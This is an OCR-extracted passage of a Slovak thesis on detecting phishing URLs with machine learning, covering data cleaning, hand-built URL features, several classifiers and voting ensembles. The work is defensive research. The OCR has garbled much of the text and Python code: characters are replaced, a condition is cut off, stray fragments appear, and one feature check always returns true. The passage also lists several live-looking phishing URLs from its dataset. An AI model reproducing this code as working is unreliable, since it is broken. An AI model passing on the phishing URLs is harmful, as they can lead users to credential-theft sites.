udajov zaistuje aj klientské Cislo z banky, ¢o by vSak mohlo vyvolat’ podozrenie u obeti,

pokial sa pri prihlasovani na oficidlnych strankach nevyuziva.

Nevyhodou tohto utoku je, Ze strdnka vyuziva neSifrovany HTTP protokol, ktory moze budit’
podozrenie, a niektoré prehliadace by stranky mohli blokovat aj bez toho, aby bola stranka

znama ako phishing.
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5 PROAKTIVNE RIESENIE S VYUZITIM METOD UMELEJ
INTELIGENCIE

5.1 Detekcia na zaklade URL adresy

5.1.1 Pouzité kniZnice

Importovana je najprv kniznica os pre pristup do suborov v operacnom systéme, kniznice
pandas a numpy na pracu s datami. Kniznica csv pre pracu s .csv subormi a kniznica time

pre meranie Casu priebehu v réznych Castiach programu.

import os

import pandas as pd
import numpy as np
import csv

import time

Nasledne st importované aj kniznice pre preprocessing dat a ich rozdelenie na trénovaciu
a testovaciu mnozinu. Obe kniznice vychadzaju z hlavnej kniznice sklearn.

from sklearn.model selection import train_test split
from sklearn.preprocessing import StandardScaler

Pre klasifikaciu bolo nutné importovat’ aj kniznice modelov, ktoré s pouzité na predikciu

from sklearn.ensemble import RandomForestClassifier
from sklearn.neighbors import KNeighborsClassifier
from xgboost import XGBClassifier

from sklearn.neural_network import MLPClassifier
from catboost import CatBoostClassifier

Taktiez st importované aj ensemble metody

from sklearn.ensemble import VotingClassifier, StackingClassifier,
BaggingClassifier, AdaBoostClassifier

V neposlednom rade st nutné aj kniznice, ktoré si pouzité na vyhodnotenie presnosti klasi-
fikatorov a ensemble metdd.

from sklearn.model selection import cross val score
from sklearn.metrics import accuracy_score, precision_score, recall score,
fl1_score

Posledné st importované d’alSie skripty, v ktorych je implementovana funkcionalita pred-
sptacovania dat a extrakcia features.
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import Data_Preprocessing
import Features_Extraction

5.1.2 Datova sada (dataset)

V préci sa na klasifikaciu vyuziva datova sada, ktora obsahuje viac ako pol miliéna unikat-
nych URL adries. T4to sada je dostupna na stranke https://www.kaggle.com/datasets/tarun-
tiwarihp/phishing-site-urls. Tieto data si navyse oznacené, teda vhodné pre ucenie formou

ucenia s ucitelom (supervised learning).

Praca pri implementacii vychadza prave z tohto suboru dat, nakol'ko je vhodnejsi na kom-
pletnl implementaciu od zaCiatku. Na tomto subore bolo mozné implementovat’ odfiltrova-
nie Sumu a duplikatov, ¢i definovat’ a extrahovat’ vlastné features. Prave vd’aka tomu bola
takato datova sada vhodnejSia ako sady, ktoré uz neobsahovali konkrétne URL adresy ale

obsahovali extrahované features.

zdroje, o ktoré sa praca opiera.
Stranka Kaggle ponutka viacero suborov dat, ktoré uz maju extrahované features.
Konkrétne sa jedna o nasledujace:

o https://www.kaggle.com/datasets/xwolfl2/malicious-and-benign-websites
e https://www.kaggle.com/datasets/shashwatwork/phishing-dataset-for-machine-lear-

ning

Dobrym zdrojom je taktieZ aj stranka phishtank.com, kde je moZné si z rozsiahlej databazy

vybrat’ data, ktoré su uz klasifikované, co je vel'mi vyhodné pre testovanie a trénovanie.
Taktiez je mozné pouzit’ aj stibory dat spomenuté vo vedeckom c¢lanku ,,Highly accurate
phishing URL detection based on machine learning* [54].

5.1.3 Predspracovanie datovej sady

Na trénovanie a testovanie bude pouzity uz spominana datova sada, ktora obsahuje cel¢ URL
adresy a oznacenie. Ako je vSak mozné vidiet', aj tato datova sada obsahuje Sum, ¢i dupli-

citné zaznamy.


https://www.kaggle.com/datasets/taruntiwarihp/phishing-site-urls
https://www.kaggle.com/datasets/taruntiwarihp/phishing-site-urls
https://www.kaggle.com/datasets/xwolf12/malicious-and-benign-websites
https://www.kaggle.com/datasets/shashwatwork/phishing-dataset-for-machine-learning
https://www.kaggle.com/datasets/shashwatwork/phishing-dataset-for-machine-learning
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5.1.3.1 Sum

V datovej sade sa nachadzaju 2 druhy Sumu. Jednym st uvodzovky, ¢i uz jednoduché ()

alebo dvojité (,,), ktoré sa nachadzaju pred a za ziadanym retazcom.

Druhym typom Sumu st ¢iarky. Pretoze program pracuje s datami vo forme .csv suboru.
(CSV = Comma Separated Values = Ciarkou oddelené hodnoty), viacero &iarok moze spo-

sobovat’ problémy v interpretacii dat a spdsobit’ tak nepresnosti v uceni.
Priklad 1

Na priklade nizsie je mozné vidiet’, Ze ret'azce su v dvojitych a potom este aj jednoduchych

"r. n ] €

uvodzovkach, teda v tvare "text'”,

o "roverebay.co.uk/itm/18ft-Power-Cruiser-(Boat),-Sea-&-River-inc-\%20\%20tra-
iler/251113339947/username/not', 1
o "'service-runescape-com-forum-forums-ws.tk/\%3f269,240,213,7153385/"",1

Priklad 2

Dalsim prikladom mézu byt &iarky v retazcoch. Program pracuje s tym, ze CSV stbor je
rozdeleny na 2 stipce, teda obsahuje len jednu &iarku. Priklad riadku teda moze vyzerat’ na-

sledovne:

e www.fai.utb.cz,0

e http://www.phishingsite.xyz,1

Pokial’ v§ak prvy ret'azec obsahuje jednu ¢i viac ¢iarok, program nedokéZe spravne interpre-

tovat’ data a mysli si, Ze stbor je rozdeleny na viac ako 2 stipce.

Priklad niz$ie dokonca kombinuje oba druhy Sumu, takze obsahuje nielen ivodzovky, ale aj

¢iarky, a to dokonca az 6 navyse.

”"i.

o "www.cocodrilos.com.ve/components/com_smartformer/files/atualizacao.do.plu-

gin.de.seguranca.com.br.Portall Home,01,02,116,1,02,b.html"", 1
Tento Sum je teda odstraneny nasledujucou funkciou remove noise:

def remove noise(filePath):
# detekcia kodovania suboru
with open(filePath, 'rb') as f:
result = chardet.detect(f.read())
encoding = result['encoding']


http://www.fai.utb.cz,0/
http://www.phishingsite.xyz/
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# otvorenie suboru CSV s explicitnym urcenim kdédovania
with open(filePath, 'r', encoding=encoding) as csvfile:
csvreader = csv.reader(csvfile)
rows = list(csvreader)

# prechadzanie riadkov suboru CSV a odstranenie neziaducich znakov
for row in rows:
row[@] = row[@].strip()

# ak ma URL adresa uvodzovky, su odstranené

if row[@].startswith('"') and row[@].endswith('""'):
row[0] = row[@][1:-1]

elif row[@].startswith("'") and row[@].endswith(""'"):
row[@] = row[0][1:-1]

# ak ma URL adresa ciarky, su odstranené

if "," in row[@]:
row[@] = row[@].replace(",", "")

# zmeneny obsah suboru CSV je zapisany do nového suboru
with open('corrected data.csv', 'w', newline='", encoding=encoding) as
csvfile:
csvwriter = csv.writer(csvfile)
csvwriter.writerows(rows)

Po prechode programom je retazec uvedeny v priklade 2 skonvertovany do formy, ktora

vyhovuje pre pouzitie:

www.cocodrilos.com.ve/components/com_smartformer/files/atualizacao.do.plugin.de.segu-

ranca.com.br.Portall Home0102116102b.html, 1

5.1.3.2 Duplicitné hodnoty

Duplicitné hodnoty st v subore dat zbyto¢né a taktiez zvySuji jeho velkost’ a tym aj ¢as

spracovania. Je preto dolezité duplicitné hodnoty odstranit’.
Priklad

V priklade niZSie je mozné vidiet' 5 zdznamov, z ktorych prvy a posledny su tplne rov-
naké, teda duplicitné.

"'servycas-rumescapa.hostizzo.com/forums.ws15,16,650,91478123/login.html"", 1
www.miamifestival.com/~belldesi/wwwfull/, 1
www.kingsartcastle.com/~belldesi/wwwfull/, 1

us.battle.net.account.bettlenet.tk/, 1
"'servycas-rumescapa.hostizzo.com/forums.ws15,16,650,91478123/login.html'", 1


http://www.cocodrilos.com.ve/components/com_smartformer/files/atualizacao.do.plugin.de.seguranca.com.br.Portall_Home0102116102b.html,1
http://www.cocodrilos.com.ve/components/com_smartformer/files/atualizacao.do.plugin.de.seguranca.com.br.Portall_Home0102116102b.html,1
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Je vsak dolezité najprv odstranit’ neziaduce znaky a az potom duplicity, nakol’ko pokial’ by
subor obsahoval zdznamy:

"'servycas-rumescapa.hostizzo.com/forums.ws15,16,650,91478123/login.html"", 1
'servycas-rumescapa.hostizzo.com/forums.ws15,16,650,91478123/login.html’, 1

Neboli by vyhodnotené ako duplicitné. Po odstraneni Sumu vsak je mozné vidiet, Ze dané
zaznamy su naozaj rovnaké a tak su odstranené.

Duplicitné zaznamy st odstranené funkciou remove_duplicates:

def remove_duplicates():

Funkcia na odstranenie duplicitnych riadkov z CSV suboru pomocou kniz-
nice pandas

# Nacitanie CSV suboru do pandas DataFrame
df = pd.read _csv("corrected data.csv", error_bad lines=False)

# Odstranenie duplicitnych riadkov
df = df.drop_duplicates()

# Zapisanie unikatnych riadkov do vystupného CSV suboru
df.to_csv("corrected_data_without_duplicates.csv", index=False)

5.1.3.3 Vyber mnoZiny na trénovanie a testovanie
Kvalita vzoriek

Vyhodou pouzitého stiboru dat je, Ze obsahuje vel'ké mnozZstvo dat, o umoziuje presné
trénovanie. Limitaciu v tomto pripade neaktualnost’, nakol’ko vzorky boli naposledy aktua-

lizované pred tromi rokmi.
Disjunkcia trénovacej a testovacej datovej mnoZiny

Pri vybere je nutné, aby boli mnoziny vzajomne disjunktné, teda ziadny prvok z trénovace;j
mnoziny sa nemoéze nachadzat’ v testovacej a naopak. Toto je zarucené vymazanim duplicit-
nych zaznamov eSte pred samotnym rozdelenim. Datova sada teda ako celok neobsahuje
Ziadne duplicitné zaznamy a teda je zarucené, Ze po rozdeleni budl trénovacia a testovacia

mnozina vzajomne disjunktné.
Rozdelenie mnoZin

V kdéde nizsie je uvedena konkrétna implementécia rozdelenia trénovacich a testovacich

dat. Vyuzivaju sa kniznice numpy a funkciu train_test split z kniznice scikit-learn.
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Kniznica numpy je vyuzita na vytvorenie poli, v ktorych st ulozené oznacenia(labely) jed-
notlivych URL adries — premenna ,,y* a samotné URL adresy, resp. features extrahované

z tychto adries — premenna ,,features_array*.

Obe tieto premenné su predané ako parametre do funkcie train_test split.

Vystupom z tejto funkcie s data, ktoré su rozdelené do 4 novych premennych, kde ,,X“
znamena premennu obsahujucu extrahované features a ,,y* znamena premennua obsahujucu
oznacenia jednotlivych zaznamov patriacim k inStancii extrahovanych features a zaroven
»train® znamena, ze tato premenna bude pouzita na trénovanie a ,.test™ zodpoveda premen-

nej vyuzitej na testovanie.

Zaroven je mozné pozorovat’ pouzitie 2 d’al§ich parametrov ktorymi su fest_size a ran-
dom_state, kde prva zmienend premenna urcuje pomer rozdelenia (0.2 znamena4, Ze testo-
vacie data budu predstavovat’ 20 % z celkového objemu dat) a druhd zmienena urcuje seed
nahodnosti rozdelenia. V pripade konstantnej hodnoty dochadza aj pri opakovanych spus-
teniach k rovnakému rozdeleniu a teda aj presnost’ klasifikacie by mala zostat’ rovnaka.
Toto umoziuje skiumat’ napriklad vhodnost” features pouZitych na klasifikaciu, kde zmena
na presnosti klasifikacie je viazana na vhodnost’ features a nie je skreslena vplyvom iného

rozdelenia a teda inych trénovacich a testovacich dat.

y = np.array(data[ 'Label'])

# split data into training and testing sets

X_train, X_test, y_train, y_test = train_test_split(features_array, vy,
test_size=0.2, random_state=42)

5.1.4 Feature engineering

Vytvorenie features, ktorymi bude klasifikovany phishing umoziuje presne urcit,, ¢i sa jedna
o phishing. Po odporuceni z vedeckych ¢lankov bude implementacia kombinovat prevzaté
features spolu s navrhnutymi features a klasifik4cia bude prebiehat’ celkovo na zéklade 30

features.

Pri vybere features st pouzité 3 zakladné typy, ktoré su oznacené priponou v ndzve premen-

nej
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e Full URL based —,, url*
e Host based —,, host*

e Path based —,, path*

Prvym krokom je teda rozdelenie URL adresy suboru dat na tieto Casti. To je docielené v na-

sledujtcej funkeii
from urllib.parse import urlsplit

def url_parse(url_string, partOfUrl):

parsed_url = urlsplit(url_string)

if "http" not in parsed_url.scheme:
parsed_url = urlsplit("//" + url_string)

print(parsed_url)

if(partOfUrl == "host"):
host = parsed_url.netloc
return host

elif (partOfUrl == "path"):
path = parsed_url.path + parsed _url.query
return path

Tento kod vyuziva funkciu urisplit() modulu urllib.parse. Funkcia prijima 2 parametre. Pr-
vym je url_string, ktory obsahuje dani URL adresu, a druhym je retazec oznacujuci, ktora
cast’ danej URL je pozadovana. Funkcia nasledne vrati Specificktl ¢ast’ URL podl'a paramet-

TOVv.

Vzhl'adom na to, Ze funkcia urisplit() je naprogramovana tak, Ze pracuje spravne len s URL,
ktoré obsahuju aj protokol, teda http(s):// pred samotnym hostname, je nutné kontrolovat,, ¢i
ho dana URL obsahuje. Pokial nie, je mozné k URL adrese pridat’,,//**, ¢im sa zaru¢i spravna

funkénost’.

Zaroven je nutné poznamenat rozdiely v definicii path asti URL. V literature z ktorej bolo

Cerpané je rozdelenie nasledovné.

3rdlevel 2ndlevel Top level

Protocol domain domain domain  Directory File Parameters Fragment
A i X 0 " " N X Y 5
https://www.someurl.com/ (llrectory/page.html?l)aram=l&lang=en#b0ttom
L - J L - J - J
Scheme Domain name Page Query
& J L J
RE Ll
Host Path

Obrazok 92 — Zlozenie URL adresy
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Teda Path zahriuje Page a Query.

Funkcia urisplit() je vSak napisana tak, ze zamiena vyrazy page a path v predchadzajucom

obrazku.

Napriklad tato URL: www.example.com/path/to/page. html? query=string&param=value
Je podl'a kniznice rozdelena nasledovne:

path="/path/to/page.html’, query=’query=string&param=value’

Pri extrakcii features sa vSak praca drzi definicie z literatiry a preto je do premennej path
ulozeny vysledok z atributov ,,path* a ,,query®, ktoré patria objektu, ktory je vysledkom

funkcie.

5.1.4.1 Prevzaté features

Cislo | Nazov feature Popis feature

1 at_url URL obsahuje znak @

2 amp more than equal url | Viac znakov & ako =v URL

3 delims_url Pritomnost’ znakov * () [] {} <>~ | 1 * ““v
URL

4 ususal delims_count_url Pocet znakov + $ = & : # % v URL

5 length url Dizka URL

6 protocol url Obsah http a www v URL

7 brand name url Obsah znamych znaciek a firiem v URL

8 digits to letter ratio url Pomer ¢islic a pismen v URL

9 digits _count url Pocet ¢islic v URL

10 ratio_path_url Pomer cesty a URL

11 contains_susp words_url Obsah podozrivych slov v URL

12 my_contains_ip_url URL obsahuje IP adresu

13 dot count host Pocet bodiek v host

14 brand host Pritomnost’ znamej znacky v host



http://www.example.com/path/to/page.html?query=string&param=value

UTB ve Zliné, Fakulta aplikované informatiky 126

15 hyphen_count host Pocet pomlciek v host

16 tld path Pritomnost’ TopLevelDomain v path
17 digits_count path Pocet cislic v path

18 hyphen count path Pocet pomlciek v path

19 slash _count path Pocet lomitok v path

20 len path Dizka cesty

Tabul'ka 1 — Prevzaté features na klasifikaciu URL

Features boli zozbierané z viacerych vedeckych ¢lankov [8][64][65][66].

5.1.4.2 Navrhnuté features

Cislo | Nazov feature Popis feature

1 my_ website age url Ako dlho je webstranka online

2 my max_consecutive cha- Maximalny pocet po sebe iducich rovnakych

racters_count url znakov v URL

3 my_underscore count url Pocet pod¢iarnikov v URL

4 my_colon_count_url Pocet dvojbodiek v URL

5 my_ brand_ similarity host Miera podobnosti so zndmymi znaCkami host—
adidas — adldas/ paypal — paypai

6 my_contains_tunnel host Host obsahuje tunnel

7 my digit_letter ratio host Pomer cislic a pismen v host

8 my_entropy_host Entropia host Casti

9 my _is_official website host | Kontrola, ¢i je konkrétna host v zozname ofi-
cialnych webovych stranok

10 my length host DiZka host ¢asti

Tabul’ka 2 — Navrhnuté features pre klasifikaciu URL
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5.1.4.3 Zoznam znaciek

Nakol’ko sa viaceré features spoliehaju na znacky, v praci bol zostaveny zoznam oficialnych

a legitimnych znaciek a ich webovych stranok.
Zoznam bol zozbierany po rozsiahlej analyze a resersi a obsahuje:

¢ Globalne najnavstevovanejSie webstranky

e Dorucovacie spolocnosti

e Emailové sluzby

e Socidlne siete

e Investi¢né platformy

e Herné platformy

e (CZ/SK banky a spolo¢nosti poskytujuce finan¢né sluzby

e Celosvetové banky a spolo¢nosti poskytujlice finanéné sluzby

5.1.5 Feature Extraction
Po navrhu features v predchadzajtcej kapitole je nutné ich extrahovat’ zo suboru dat.

Tieto features budu taktiez extrahované do CSV stuboru, aby bolo mozné s nim pracovat’ aj

neskdr, a nebolo nutné extrakciu vykonavat’ pri kazdom spusteni programu.

Na extrahovanie r6znych features zo suboru dat obsahujuceho URL adresy s oznaceniami je
mozné pouzit’ viacero kniZnic a nastrojov v jazyku Python, napriklad kniZznicu urllib, tidex-
tract, requests a beautifulsoup4 pre pracu s URL adresami a kniznicu scikit-learn pre stro-
joveé ulenie.

Vsetky extrahované features su riadené hlavnou funkciou s nazvom extract features, v kto-
rej je hlavné pole, do ktorého su pridavané polia vytvorené v konkrétnych funkcidch na ex-

trahovanie features.
Vsetky extrahované funkcie su potom vratené do metody

def extract_features(url_string):
features = []
features.extend(full_url_features(url_string))
features.extend(host_features(url_string))
features.extend(path_features(url_string))
return features
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5.1.5.1 Full URL features

Features ktoré su extrahované z celej URL adresy st implementované v kode nizsie. Hod-
nota kazdej extrahovanej feature je pridana do pola. Toto pole je potom vratené do funkcie,

ktora volala tato funkciu.

def full_url_features(url_string):
features = []

# 1 URL obsahuje znak @
at_url = 1 if '@" in url_string else ©
features.append(at_url)

# 2 Viac znakov & ako = v URL

amp_more_than_equal_url = 1 if url_string.count('&') >
url string.count('="') else ©

features.append(amp_more_than_equal_url)

# 3 Pritomnost znakov ~ () []1 {} <>~ | > ! * < “ v URL
delims_url = ©
regex = r"[\NO\[\I{}<>~ | I\F\" )"
if re.search(regex, url_string):
delims_url = 1
features.append(delims_url)

# 4 Pocet znakov +,%$,=,&,:,#,% v URL
ususal delims_count_url = url_string.count("+") + url string.count("$")

+ url_string.count("=") + url_string.count(
"&") + url_string.count(":") + url_string.count("#") +
url_string.count("%")

features.append(ususal_delims_count_url)

# 5 DIzka URL
length_url = len(url_string)
features.append(length _url/10) #dlzka /10 - aby nebol spike

# 6 Obsah http a www v URL
protocol url = 1 if "http" or "www" in url_string else ©
features.append(protocol _url)

# 7 Obsah znamych znaciek a firiem v URL
brand_name_url = word search(url_string, brand_names_list)
features.append(brand_name_url)

# 8 Pomer c¢islic a pismen v URL

digits_count = len(re.findall(r'\d', url_string))
letter_count = len(re.findall(r'[a-zA-Z]', url_string))
if digits_count == 0 or letter_count == 0:
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1]
(&)

letter_to_digits_ratio_url
else:

letter_to_digits_ratio_url letter_count / digits_count
features.append(letter_to_digits_ratio_url)

# 9 Pocet cislic v URL

digit_pattern = re.compile(r'\d")

digits_count_url = len(digit_pattern.findall(url_string))
features.append(digits_count_url)

# 10 Pomer path a URL
url_length = len(url_string)
path_string = url_parse(url_string, "path")
path_length = len(path_string)
if path_length == 0 or url_length == 0:
ratio_url_path = 0
else:
ratio_url_path = path_length / url_length
features.append(ratio_url_path)

# 11 URL obsahuje podozrive slova
contains_susp_words_url = word_search(url_string, suspicious_word_list)
features.append(contains_susp_words_url)

# 12 URL obsahuje IP adresu
my_contains_ip url = is_valid_ip_address(url_string)
features.append(my_contains_ip_url)

# Navrhnute Features

# 14 Ako dlho je webstranka online

my website age = check website age(url string)
features.append(my_website_age)

# 15 Pocet podciarnikov v URL
my_underscore_count_url = url_string.count('_")
features.append(my_underscore_count_url)

# 16 Pocet dvojbodiek v URL
my_colon_count_url = url_string.count(':")
features.append(my_colon_count_url)

# 17 Maximalny pocet po sebe iducich rovnakych znakov v URL

my_max_consecutive_characters_count_url = max_conse-
cutive_chars(url_string)

features.append(my_max_consecutive_characters_count_url)
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5.1.5.2 Host-based features

Uplne rovnako je implementovana aj logika vo funkcii, ktora ma na starosti extrakciu featu-

res z host ¢asti URL.

def host_features(url_string):
features = []
url_string = url_parse(url_string, "host")

# 1 Pocet pomlciek v host
hyphen_count_host = url_string.count('-")
features.append(hyphen_count_host)

# 2 PocCet bodiek v host
dot_count_host = url_string.count('.")
features.append(dot_count_host)

# 3 Pritomnost znamej znacky v host
brand_host = word_search(url_string, brand_names_list)
features.append(brand_host)

# Navrhnute Features

# 4 Host obsahuje tunnel

my contains_tunnel host = word_search(url_string, tunnel services list)
features.append(my_contains_tunnel_host)

# 5 Pomer pismen a ¢islic v host casti
digits_count = len(re.findall(r'\d', url_string))
letter_count = len(re.findall(r'[a-zA-Z]', url_string))
if digits_count == 0 or letter_count ==

my letter_digit ratio host = ©
else:

my letter_digit_ratio_host = letter_count / digits_count
features.append(my letter_digit ratio host)

# 6 Entropia host casti
entropy host = entropy calculation(url string)
features.append(entropy_host)

#7 Kontrola host z listu oficialnych stranok

is_official_website_host = word_search(url_string, official_ web-
site list)

features.append(is_official website host)

#8 Podobnost so znamymi znackami - adidas.com - adldas.coo/ paypal -
paypai

my_brand_similarity host = similarity_ratio(url_string,official_web-
site list)
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features.append(my_brand_similarity host)

#9 Dizka host ¢asti
my_length_host = len(url_string)
features.append(my_length_host)

return features

5.1.5.3 Path-based features
Podobne tak aj features zalozené na ceste URL adresy.

def path_features(url _string):
features = []
url_string = url_parse(url_string, "path")

# 1 TopLevelDomain v path

tld_regex = re.compile(r'\.[a-z]{2,}$') # hlada TLD s dizkou aspof 2 a
obsahujice len malé pismena

match = tld_regex.search(url_string)

tld_path = bool(match) # vrati True, ak sa nasSla zhoda, inak False

features.append(tld_path)

# 2 Pocet Cislic v path

digit_pattern = re.compile(r'\d")

digits count_path = len(digit pattern.findall(url_string))
features.append(digits_count_path)

# 3 ,,-“ v path
hyphen_count_path = url_string.count('-")
features.append(hyphen_count_path)

# 4 ,/° v path
slash_count _path = url string.count('/")
features.append(slash_count_path)

# 5 DIzka cesty
length_path = len(url_string)
features.append(length_path)

return features
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5.1.5.4 Funkcie pouZité na extrakciu

Ako je mozné vidiet’ v kapitolach vyssie, extrakcia niektorych features nie je vykonana
priamo, ale z dovodu komplexnosti alebo viacnasobného pouzivania bola tato funkcia im-

plementovana v inej funkcii a zavolana.

Entropia

Pre vypocet entropie URL adresy je potrebna kniznica math na vypocet logaritmu. Apliko-

vany je vzorec pre Shanonovu entropiu z oddielu 3.4.2.3.

def entropy_calculation(url_string):
# Spocitat pocCet vyskytov kazdého znaku
fregqs = Counter(url_string)

# Vypocitat entropiu
ent = 0.0
for freq in freqs.values():
prob = freq / len(url_string)
#url _length == @ - problem
ent += prob * math.log(prob, 2)
ent = -ent
return ent

VyhPadavanie ret’azca z listu v URL adrese
Pokial’ sa v retazci URL adresy nachadza akykol'vek retazec z listu, je vratena hodnota

true, inak false. Tato funkcia je pouzita na detekciu znamych znaciek alebo tunelov

def word_search(url_string, word_list):
# Vytvorenie regularneho vyrazu zo zoznamu socidlnych sieti
list_regex = re.compile('|'.join(word_list))

# Hladanie zhoéd pomocou regularneho vyrazu

match = list _regex.search(url_string)
return bool(match)

Pomer podobnosti

Pomer podobnosti daného retazca. Funkcia je pouzita na detekciu podobnosti retazcov

z URL s oficidlnymi znac¢kami. Pokial’ sa nejaka oficidlna znacka nachadza v URL , je
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podobnost’ 1. Vyuziva sa kniznica difflib. Postupne sa prechddza cely list znamych znaciek

a vysledkom je najvyssSia zaznamenand podobnost’.

def similarity_ratio(url_string, list_of_brands):
biggest similarity = ©

for brand in list _of brands:
if biggest_similarity == 1:
break
similarity_calculation = difflib.SequenceMatcher(None, url_string,
brand).ratio()
if similarity_calculation > biggest_similarity:
biggest similarity = similarity calculation
return biggest_similarity

Obsah IP adresy v URL

Tato funkcia sluzi na zistenie, ¢i sa v danej ¢asti URL nachadza IP adresa. Funkcia je
schopné detekovat’ aj IP adresy, v ktorych nie su ako Standardne ¢isla oddelené bodkou, ale
aj rdzne iné tvary. VyuZziva sa kniznica re. Vysledkom je hodnota true, ak je ndjdena

zhoda, alebo false, ak sa zhoda nendjde.

def is valid ip address(url_string):
pattern = re.compile(r'\b(?:\d{1,3}\.){3}\d{1,3}\b")
match = pattern.search(url_string)
if match is not None:
# ziskanie IP adresy zo zhody
ip = match.group(9)
# rozdelenie IP adresy na bloky cisel
blocks = ip.split('.")
# kontrola, ¢i ma IP adresa 4 bloky cisel
if len(blocks) == 4:
return True
return False

Maximalny pocet po sebe idicich rovnakych znakov

Funkcia sluZiaca na ziskavanie maximalneho poctu po sebe idtcich znakov, napriklad re-
tazec ,,Heeeello World1123* by vratil hodnotu 4, pretoze najpocetnejsi po sebe sa vysky-
tujuci sa znak je pismeno ,,e*, ktoré sa v ret’azci vyskytuje 4 krat po sebe. VyuZzivana je

kniznica numpy. V pripade chyby je vratena hodnota 0.
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def max_consecutive_chars(s):
if not s:
return 0

# pole s hodnotami ASCII kodov vsetkych moznych znakov
all chars = np.arange(256)
# pole s hodnotami ASCII kodov znakov v retezci
char_codes = np.array([ord(c) for c in s])
# pole s poctami vyskytov kazdeho znaku v retezci s
counts = np.bincount(char_codes)
#index znaku s najvacsim poctom vyskytov
try:

max_index = np.argmax(counts)

if(max_index < @ or max_index > 255):

return 0

except ValueError:

return ©
try:

most_common_char = chr(all_chars[max_index])
except ValueError:

return ©
count_of_most_common_char = np.max(counts)
most_common_char == max(s, key=s.count)
count_of_most_common_char == s.count(most_common_char)

# vratenie maximalny pocet po sebe iducich vyskytov najcastejsieho znaku
consecutive_counts = np.cumsum(char_codes == all_chars[max_index]) *
(char_codes == all chars[max_index])
if len(consecutive_counts) ==
return ©
else:
return np.max(consecutive_counts)

Ako dlho je web na URL adrese online

Funkcia sliZiaca na zistenie, ako dlho je webstranka na danej URL adrese online. Phishin-
gové weby vicsinou fungujt len chvil'u, a po phishingovom utoku Casto zanikaju. Na de-
tekciu sa pouZziva kniznica whois. Vystupom je pocet dni, po ktort je dana webova stranka
online. Pokial’ je webova stranka na URL adrese zrusena alebo z inych dévodov nedo-

stupna, je hodnota na vystupe 0.

def check_website age(url):
try:
domain = whois.whois(url).domain
creation_date = whois.whois(domain).creation_date
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if isinstance(creation_date, list):
creation_date = creation_date[0]
age = (datetime.now() - creation_date).days
return age
except Exception as e:
return ©

5.1.6 Detekcia s pouzitim modelov Al

Na klasifikaciu pomocou Al modelov boli pouzité nasledujice modely: Random Forest, K-
Nearest Neighbor, XGBoost, Neurénova siet’ Multi Layer Percepton a Catboost. Tie st po-
tom pridané do pol'a, kvoli tomu, Ze ich trénovanie testovanie a predikcia st implemento-

vané rovnako.

rfc = RandomForestClassifier()
knn = KNeighborsClassifier()
xgb = XGBClassifier()

cnn = MLPClassifier()

cb = CatBoostClassifier(verbose=False)

models = np.array([rfc, knn, xgb, cnn, cb])

5.1.6.1 Trénovanie a testovanie

Trénovanie a testovanie su vykondvané vo funkcii niZSie, kde s ako parameter predavané

extrahované features a pole obsahujuce modely.
supervised models train_test(features, models)

Tento kod pouziva kniznicu numpy na vytvorenie pol’a y, ktoré obsahuje hodnoty oznaceni
(labels) dat. Potom sa data rozdelia do trénovacej a testovacej mnoziny pomocou funkcie
'train_test _split' z kniznice sklearn. Trénovacia sada sa pouZzije na trénovanie modelu a tes-

tovacia sada sa pouzije na vyhodnocovanie vykonu modelu.

Na zabezpecenie, aby data boli v jednotnej Skale, sa pouziva Standardizacia dat. Kniznica
sklearn poskytuje triedu StandardScaler pre Standardizaciu dat. V tomto pripade sa pouziva
metoda fit_transform na normalizaciu trénovacich dat a metoda transform na normalizaciu

testovacich dat.

Nasledne st uz len aplikované metody fit a predict na trénovanie a testovanie.
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Poslednym krokom je vypocet presnosti daného modelu pomocou cross validation, accu-

racy, recall, precision a f1 skore.

def supervised _models train_test(features_array, models):

y = np.array(data[ 'Label'])

# split data into training and testing sets

X_train, X_test, y_train, y_test = train_test_split(features_array, vy,
test size=0.2, random_state=42)

# standardize data
X_train = sc.fit_transform(X_train)
X_test = sc.transform(X_test)

for model in models:
model.fit(X_train, y_train)

for model in models:

model _pred = model.predict(X_test)
accuracy = accuracy_score(y_test, model pred)
precision = precision_score(y_test, model pred, average='macro')
recall = recall_score(y_test, model_pred, average='macro')
fl = f1_score(y_test, model pred, average='macro')
print(f"{model} classification - Accuracy: {accuracy}, Precision:

{precision}, Recall: {recall}, F1 score: {f1}")

# Applying k-Fold Cross Validation

accuracies = cross_val score(estimator=model, X=X train,
y=y_train,cv=10)

print(f" {model} Cross validation accuracies mean: ", accura-
cies.mean())

accuracies.std()

5.1.6.2 Predikcia

Funkcia na predikovanie prijima ako parameter inStanciu triedy StandardScaler, aby sa za-
chovali rovnaké skaly, URL adresu zadanu uzivatelom a modely, ktoré budi vykonavat’

klasifikaciu.
Prvym krokom je extrahovanie features zo zadanej URL a uloZenie do pola.

Tak ako u testovacej mnoziny v predoslej kapitole je aplikovand metoda transform z triedy

StandardScaler.

Nasledna predikcia je vykonana priklazom model.predict(features). Vysledok tejto metddy

je pridany do pola. Tento cyklus je opakovany pre kazdy model a tak su v poli ulozené
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vysledky predikcii vSetkych modelov. Tieto vysledky st nasledne pouzité na findlnu klasi-

fikaciu prostrednictvom ensemble metod.

V praci su na findlnu klasifikaciu implementované 2 ensemble metddy. Prvou je vahované
hlasovanie, ktoré¢ kazdému z klasifikatorov prida urcitth vahu a vypocita priemer. Nasledne

je podl'a velkosti tohto priemeru rozhodnuté, ¢i je email legitimny alebo phishingovy.

Druhou metddou je vacsinové hlasovanie, ktoré rozhoduje na zaklade vacsSiny. Dolezité

teda je pouzivat’ neparny pocet modelov.

def supervised_classification_prediction(sc, url, models):

features = np.array(Features_Extraction.extract features(url)).re-
shape(1,-1)

features = sc.transform(features)

models pred = []

for model in models:
models_pred.append(model.predict(features))

# VAHOVANE HLASOVANIE
weights = [0.3, 0.2, 0.1, 0.2, 0.2] #najpresnejsie najviac
final pred = np.average(models pred, axis=0, weights=weights)
if final_pred >= 0.5:

print('URL adresa je phishing')
else:

print('URL adresa je legitimna')

# VACSINOVE HLASOVANIE
data = np.column_stack(models_pred)
flattened data = data.flatten()
final_pred = np.argmax(np.bincount(flattened_data))
if final_pred == 1:
print('URL adresa je phishing')
else:
print('URL adresa je legitimna')

5.1.7  Detekcia s pouZzitim ensemble metéd

Ensemble metddy su zaloZené na klasifikatoroch definovanych v kapitole vyssie. Celkovo

su v praci vyuzité 4 ensemble metody, ktorymi sa: stacking, bagging, boosting a voting.

Prvé 3 metody pouzivaju ako hlavny klasifikdtor Random Forest, ktory ma najlepSiu pres-

nost’. Viac informacii je v oddiele 5.1.8.
